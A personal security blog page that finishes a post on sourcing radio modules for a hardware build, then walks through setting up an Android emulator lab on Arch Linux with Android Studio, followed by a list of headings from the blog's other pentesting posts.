This is where the fun began as just ordering the correct components turned out to be more difficult then I expected. There are so many different form-factors, manufacturers and part numbers that just submitting the BOM from the project produced a ton of “No match found” results. After hours of research I ended up placing multiple orders through LCSC (JLCPCB’s component side) and also through Digi-Key since all the parts were not available through one site.

There were two parts that I could not find on either site and relied heavily on the images from the presentation to distiguish what these parts were. The two parts were the 2.4Ghz radios and without these the project would be useless. I was able to find the nRF24L01+ module at sparkfun.com with ease.

The MD7125-F02 module was next to impossible to locate. Taking a chance I submitted a query for the devices to a foreign site. The module they appeared to carry wasn’t an exact match because it does not contain an RP-SMA connector, but it did appear to have the pads available to where I could add one.

I have yet to receive a response, but I am hopeful. Without this module I don’t think I can complete the project so if I do not hear a response back I will attempt to find it other places.

As expected, the PCBs will be shipping from China and should arrive in the next few days. While I am awaiting the PCBs and components I plan to further research surface mount soldering techniques, reviewing tools and ordering other things I may require for successful building of the project.

More to come!

Android Pentest Lab Build

Wed, 21 Nov 2018 18:42:00 +0000

This post will discuss the steps necessary to setup an Android lab environment where APKs can be loaded and played with.

The first step is to install Android Studio. I am using Arch Linux as my base OS for this lab. With the right know how these installation steps can be adapted to any OS you’d like.

Make sure you have an AUR package manager such as ‘yay’ installed if you’re building this on Arch!

yay -S android-studio android-emulator

These installation packages are large and may take some time to complete the installation process on your system.

We will test that our PATH variable is setup correctly by running:

adb --help

You should see something like this:

Since yay installs Android Studio as root into /opt/android-sdk/ we need to modify some permissions on the directory. We create a new group sdkusers and assign our non-root user as a member then change the group that owns the files to the group. Obviously, change the username from marg to your username. The last command will make our current terminal session aware of the new group.

groupadd sdkusers
gpasswd -a marg sdkusers
chown -R :sdkusers /opt/android-sdk/
chmod -R g+w /opt/android-sdk/
newgrp sdkusers

Let’s now launch Anrdoid Studio as our non-root user and run through the initial configuration.

android-studio

Below are the options I selected for my initial configuration. Feel free to modify however you prefer.

Setup will download and update all the necessary componenets which may take some time to complete. Once it completes you can finally click finish. If all goes well you should be presented with this screen:

Go ahead and create a project selecting whatever options you’d like. It doesn’t really matter what we choose because we just want to get to the Android Virtual Device Manager.

Once your project is loaded up into the IDE environment, click the AVD Manager icon located in the upper right corner.

Click Create Virtual Device...

This is where the fun begins and you can make selections on the deivce you want to emulate. For my situation I selected Pixel.

Next, we need to select an image that we will download and run on the emulated phone. For my purposes I selected a 7.1.1 build and clicked Download to the right of the release name.

I accepted all the default options in the Download diaglog that appeared. This step may take some time since we’re downloading a large system image. Click finish and you should be presented with the same screen as before. Click Next to continue.

On the last screen of the new device wizard I made no changes, but I incourage you to mess around with the options available to you. Finally, select Finish.

With the setup and installation of the emulated device complete let’s go ahead and give it a test run. In the AVD Manager click the play button in the actions column.

If everything has gone successfully, you will be presented with an emulation of an android device!

I will be following up this walkthrough with more articles on how we can take advantage of this emulated device.

marginaldeer's blog

Attacking Android IPC: Intents, Content Providers, and Broadcast Receivers

Understanding the Attack Surface

Quick Enumeration with drozer

Attacking Exported Activities

Launching Activities with ADB

Real-World Example: Auth Bypass

Attacking Deep Links

Finding Deep Links

Exploiting Deep Links

WebView Deep Link Attack

Attacking Content Providers

Querying Providers

SQL Injection in Content Providers

Path Traversal in File Providers

Insert and Update Operations

Attacking Broadcast Receivers

Sending Broadcasts

Broadcast Sniffing

Real-World Example: OTP Hijacking

Attacking Bound Services

Chaining IPC Attacks

Automation Script

Prevention (What to Tell Developers)

Related Posts

Bypassing Root Detection and Emulator Checks on Android

How Root Detection Works

File-Based Checks

Package-Based Checks

Command Execution

System Properties

SafetyNet / Play Integrity

Emulator Detection

Build Properties

Hardware Indicators

Timing and Performance Checks

Bypassing Everything with Frida

Quick Win: Hook the Detection Methods Directly

Comprehensive: Hook the Underlying APIs

The Combined Script

Dealing with Commercial Frameworks

RootBeer

ProGuard/R8 Obfuscated Detection

Frida Detection

MagiskHide and Shamiko

Practical Workflow

Related Posts

From APK to Source: Complete Android Reverse Engineering Workflow

The Toolchain

Getting the APK

Understanding APK Structure

Method 1: The Quick Way (jadx)

Method 2: The Detailed Way (apktool + dex2jar + CFR)

Step 1: Decode with apktool

Step 2: Convert DEX to JAR

Step 3: Decompile with CFR

Dealing with Obfuscation

1. Find Entry Points

2. Search for Strings

3. Trace from Known Code

Extracting Native Libraries

Automation Script

What to Look For

Next Steps

CVE-2025-55182: Pre-Auth RCE in React Server Components

The Vulnerability

The Prototype Pollution Chain

Attack Chain in Action

Step 1: Reconnaissance

Step 2: Craft the Malicious Payload

Step 3: Trigger Execution

Step 4: Exfiltrate Output

Blind Exploitation

Why This Approach Works

Real-World Prevalence

Detection

Affected Frameworks

Patching

References

Hooking Native Libraries with Frida Interceptor